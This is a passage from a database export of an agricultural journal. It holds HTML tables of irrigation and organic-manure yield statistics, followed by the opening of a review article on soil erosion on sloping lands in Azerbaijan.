style=\"font-size:10.0pt\">&nbsp;1.34</span></p>\r\n			</td>\r\n			<td style=\"width:48.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.359</span></p>\r\n			</td>\r\n			<td style=\"width:43.3pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.11045</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;9.92</span></p>\r\n			</td>\r\n			<td style=\"width:34.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.028</span></p>\r\n			</td>\r\n			<td style=\"width:38.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">66.115</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;3.71</span></p>\r\n			</td>\r\n			<td style=\"width:33.6pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.123</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:70.95pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">Organic amendment (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:21.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.4pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">153.003</span></p>\r\n			</td>\r\n			<td style=\"width:55.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;55.90</span></p>\r\n			</td>\r\n			<td style=\"width:48.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n			<td style=\"width:43.3pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.27011</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;52.92</span></p>\r\n			</td>\r\n			<td style=\"width:34.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n			<td style=\"width:38.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">28.261</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;3.39</span></p>\r\n			</td>\r\n			<td style=\"width:33.6pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.115</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:70.95pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">I * O</span></strong></p>\r\n			</td>\r\n			<td style=\"width:21.45pt\">\r\n			<p style=\"text-align:justify\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:43.4pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.973</span></p>\r\n			</td>\r\n			<td style=\"width:55.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;1.82</span></p>\r\n			</td>\r\n			<td style=\"width:48.45pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.242</span></p>\r\n			</td>\r\n			<td style=\"width:43.3pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.02753</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;1.15</span></p>\r\n			</td>\r\n			<td style=\"width:34.25pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.379</span></p>\r\n			</td>\r\n			<td style=\"width:38.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">25.639</span></p>\r\n			</td>\r\n			<td style=\"width:55.2pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;3.08</span></p>\r\n			</td>\r\n			<td style=\"width:33.6pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.120</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"11\" style=\"width:499.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">DF: Degree of Freedom = n &ndash; 1, MS: Mean Square</span><span style=\"font-size:10.0pt\"> = SS / DF, </span><span style=\"font-size:10.0pt\">SS: Sum of Squares, </span><span style=\"font-size:10.0pt\">Variance % = (MS Factor / MS Total) *&nbsp;100, P: Probability 0.05</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 7:</strong> Analysis of variance (ANOVA) of plant number (thousands. ha<sup>-1</sup>), grain yield (Kg. ha<sup>-1</sup>) and harvest index (%).</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Irrigation Level</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(I)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Organic Amendment</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(O)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant number (thousands. ha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Grain yield (Kg. ha<sup>-1</sup>)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Harvest index (%)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:131.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">85</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.42</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">92</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.79</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.60<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25.2<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:131.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 80</span></strong></p>\r\n			</td>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.56</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">94</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.17</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">92<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.86<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31.5<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:131.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 60</span></strong></p>\r\n			</td>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.50</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">95</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.11</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">92<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.80<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.4<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:131.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean over irrigation level</span></strong></p>\r\n			</td>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">88<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.49<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27.8<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:93.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">94<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.02<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.3<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">General mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">91</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.76</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.2<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.17*</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.8<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.9**</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.18**</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.3<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I*O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.1<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.9<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:225.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">CV%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:80.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.8</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.8</span></p>\r\n			</td>\r\n			<td style=\"width:66.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">*, and **: Significant at 0.05 and 0.01 level of probability respectively. ns: not significant at 0.05 level of probability.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 8: </strong>The effect of organic manure on plant number (thousands. ha<sup>-1</sup>), grain yield (Kg. ha<sup>-1</sup>) and harvest index (%) under deficit irrigation.</span></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n','1539110934.pdf',NULL,'1539110934.jpg','',0,1,'2018-10-10 00:18:54','2018-10-23 23:29:53',1),(17,35,'20','2018','Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan','Akademi Ras BH Aliyev, Rae ZH Aliyev*','Review Article','Prerequisites-for-Addressing-the-Development-of-Soil-Erosion-in-Sloping-Lands-of-Azerbaijan','Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan','Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan','Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:20px\">Open Access Journal of Agriculture Research</span></strong></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Akademi Ras BH Aliyev, Rae ZH Aliyev<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>: Rae ZH Aliyev, Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan. Email: <a href=\"mailto:zaakirakademik@mail.ru\">zaakirakademik@mail.ru</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Aliyev ARBH, Aliyev RZH (2018) Prerequisites for Addressing the Development of Soil Erosion in Sloping Lands of Azerbaijan. Open Acc J Agri Res: OAJAR-100006.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 18 September, 2018; <strong>Published Date:</strong> 10 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The article examines the issues of the possibility of studying the areas of development by soil erosion and its control. The study proved that the development of soil erosion is based on the forming impact of natural and anthropogenic factors. The degree of potential danger and the possibility of prevention, taking into account the preservation of the environmental situation in the foothills of the Upper Shirvan in the example of the Shemakha district of the Republic of Azerbaijan, were studied. The main objectives of the study here were to determine the amount and degree of development of eroded and erosive dangerous soils of the foothill zones, carried out based on soil erosion surveys of the farms of the republic.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong> Assessment of The Degree of Erosion Environmentally Hazardous; Anti-Erosion Measures; Erosion; Soil</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The territory of Azerbaijan is under the ecological impact of the catchment valley of the Caspian Sea. Here, environmental problems, the solution of which are regional and depend on interstate relations, and for this reason, day after day they become strained. It must be said that the soil is exposed to erosion, forest plantations, mountain groves, water sources and other natural formations are out of order.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Geologically and geographically, the research region has a rather complex structure, where high mountains and steep slopes alternate with foothills and plains, which in turn contributes to the development of a fairly variegated climate, that is, to a variety of vegetation cover. The complexity of the geomorphological structure, the presence of steep slopes, as well as the anthropogenic impact, exerts a significant importance to the intensity of surface runoff, which in turn enhances the development of erosion processes, resulting in the creation of wide ravines, which in the final stage are represented by beams, changing the geomorphological appearance of the region as a whole.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In general, according to the Shirvan zone, EM Shikhlinsky [1] distinguishes 3 types of climate:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1) moderately warm, characteristic for the flat areas of the zone with a relatively mild winter.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2) moderately warm wet type with a uniform distribution of precipitation throughout the year, covers the foothills of the zone.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">3) cold climate with humid winter, characteristic for the foothill and mountainous area of ??the zone.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The minimum air temperature is 0.50C in January, and the maximum temperature is at 23.60C in July. The average monthly temperature of the soil varies within the limits of -10? -30.70?. The minimum soil temperature in -10? is in January, the maximum is 30.00? (July) and August is 30.70? months. The annual precipitation is 692 mm, the greatest amount of which falls in April-June months. The annual value of volatility is 825 mm. The average annual relative air humidity is 71% fluctuating over the time of year from 59 to 87% [1,2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It should be recognized that the results of numerous fundamental and applied research on the development of soil erosion and erosion measures have shown that the study of the problem by modern methods is inevitable and naturally it has always been practiced, but it should be noted that with the use of new works of the above-mentioned subjects, experimental and applied research in this field of science, where solutions were sought to prevent it through a comprehensive approach and solving the problem of studies on the development of areas of erosion process.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is known that far from a complete list of information on soil erosion and measures to combat it at different administrative and economic levels go beyond their visual and other reports of researchers and university textbooks and can provide significant assistance to authors in solving many scientific and applied problems that could not be solved in full to the present time in the republic. The direction of research on the topic of soil erosion, their mapping and design of erosion control measures, recommended for students, is wide and varied, and can be dlozhena basic building blocks (areas) studies:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">-soil erosion - terminology, classification; conditions that determine the danger of erosion; assessment and mapping of erosion hazardous land.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">-mapping of washed-away soils; protection of soils from erosion.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">-design of anti-erosion measures; ecological, social and economic effectiveness of anti-erosion measures.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">-the state of scientific research on the problem of soil protection from erosion in Azerbaijan and other countries of the world.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The natural and climatic conditions of the republic due to the deficiency of water balance contribute to the development of both erosion and deflation, which requires special, progressive methods of mastering soil cultivation, cultivation cultures, melioration and protection of the already small land fund. It should be noted that in the country the main arrays of lands suitable for irrigated agricultural use already amounting to 1.410 million hectares have been developed and further expansion of arable land is possible only due to the development of less productive lands, which requires excessive protection from soil erosion on the developed lands, their fertility is of great importance for the country.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the process of implementing scientific research carried out by the authors at the Institute of Erosion and Irrigation of ANAS in this field of research in their mon the soil erosion is presented as a function of natural and anthropogenic factors and its ecological consequences. The authors proceeded from the assumption that each science requires certain precision and clarity of concepts, and as the new results are achieved, the measures of struggle and the classification of the objects under study are continuously improved. Many scientists were involved in these issues, for example: Zavaritsky AN (1947); Sobolev SS (1948), KA Alekperov DA (1950-1970), Khalilov M.H. (1972-1989),), Ibragimov AA (1967-2010), Shvebs GI (1977), Belbibaev ME (1970), Budagov B A.A. (1953-2006), Aliev B.H. (1990-2016); Zaslavsky MN (1972-1979), etc.), in the works of which the terms derived from the word erosion as well as the concepts of water and wind erosion were treated very widely and not always definitely, and in this connection, many examples of contradictory their interpretation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Among the authors of the published monographs, MN Zaslavsky, KA Alekperov and B.H. Aliyev are the closest to the authors who, instead of the widely used term, water erosion recommends the use of the term soil erosion to denote both flushing and soil erosion by surface runoff temporal water currents, and the term deflation (wind blowing) instead of wind erosion, which accurately reflects the essence of the phenomenon. The numerous studies and authors&#39; monographs in the reports show the scales and geography of degradation ochv, the economic damage from erosion is appalling. The significant structural changes implemented as a result of land reforms in agriculture started in Azerbaijan since 1990 led to a reduction in the area of ??agricultural land, the removal from agricultural use of vast areas of arable land and forage lands affected by degradation, enormous economic and environmental damage and the threat to subsistence soil as the main means of production and an indispensable component of the biosphere.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is known that the patterns of soil degradation are associated with natural and climatic, lithologic-geomorphological features, as well as the intensity of manifestation of anthropogenic influence. The Azerbaijan Republic, despite its inadequate study, is characterized by considerable areas of arable land with a very low content of humus, high acidity, and a deficiency in the phosphate regime of soils. The results of this study determined that, in Azerbaijan, slope lands occupy 3236 thousand hectares. The distribution of land in the natural and economic zones of the republic by relief conditions is as follows (table 1) [3,4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thus, the limitation land resources forces to plow even steep slopes. It is assumed that the slopes from 30 to 150 (slopes 0.05-0.25) are sloping, from 150 to 200 (0.25-0.35) -transient to steep, 200-steep. Based on the results of research and other scientists, it is implied that 216 thousand hectares of this range of inclines, from suitable for irrigation, are located on steep slopes, 629 thousand hectares in areas with gradients of 0.05 to 0.20, ha - on flat sections with gradients ?0.05. According to the conclusion on the slopes 15-200 it is necessary to place gardens and vineyards. Often, slopes of 30-400 and more degrees, are used for vineyards with the direction of rows along the slope, which creates the most difficult conditions for the operation of agricultural machines and enhanced flushing of the upper fertile soil layer in the inter-row spacing. Therefore, the author believes when laying new gardens and vineyards, one should not go on an apparently more economical way of laying in the direction of the slope. There is also the use of steep slopes for the sowing of grain and forage crops [4,5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Plowing and tillage in such areas are carried out along the slope, which contributes to the intensification of soil washout and a sharp decrease in its fertility. Many years of systematic, unjustified use of chemical plant protection products in the region, both years of Soviet power, and now especially of pesticides, is one of the main problems in the agricultural zone of the republic as Guba-Khachmas, Ganja-Gazakh, Upper Shirvan and Garabagh. Pollution here soil adversely affects plants, reduce crop yields and loss of potential soil fertility.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Along with the pollution of ecosystems, it has negative consequences for the population and livestock in the region. Pollution of the environment has become one of the most important tasks of our time, a special role belongs to heavy metals, which have the ability to accumulate in soils and through them to enter food products, while contributing to soil degradation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The zoning of the republic&#39;s territory on irrigation techniques and the degree of erosion of soils in the republics has shown that 14 districts of the republic have a tense situation in which there is a risk of withdrawal of arable land here because of intensive use due to complete soil degradation. In Azerbaijan, there are all types of erosion (including water, mudflow, wind, surface, linear, etc.). Exposure to soil erosion in mountain regions of Azerbaijan is given in the table2.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New 